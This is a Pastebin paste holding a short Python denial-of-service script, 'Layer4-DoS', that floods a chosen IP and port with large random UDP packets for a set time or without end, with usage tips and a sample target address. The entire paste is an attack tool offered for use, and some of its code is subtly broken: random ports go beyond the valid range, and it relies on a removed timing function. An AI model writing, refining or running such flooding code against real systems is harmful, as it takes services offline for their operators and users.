Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- ###################################################
- # Layer4-DoS coded by Chris Poole | @codingplanets
- #
- # USAGE: Layer4.py <target> <port> <time>
- #
- # - - - - - - - - - - - - - - - - - - - - - - - -
- # Tip:
- # python Layer4.py 69.69.96.69 0 0
- # - - - - - - - - - - - - - - - - - - - - - - - -
- # '0' will randomize the port & time :)
- ###################################################
- import socket,random,sys,time
- if len(sys.argv)==1:
- sys.exit('Usage: Layer4.py <target> <port> <time>')
- def Layer4():
- port = int(sys.argv[2])
- randport=(True,False)[port==0]
- ip = sys.argv[1]
- dur = int(sys.argv[3])
- clock=(lambda:0,time.clock)[dur>0]
- duration=(1,(clock()+dur))[dur>0]
- print('Attacking: %s:%s for %s seconds'%(ip,port,dur or 'infinite'))
- sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
- bytes=random._urandom(65500)
- while True:
- port=(random.randint(1,15000000),port)[randport]
- if clock()<duration:
- sock.sendto(bytes,(ip,port))
- else:
- break
- print('Attack is finished!')
- Layer4()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement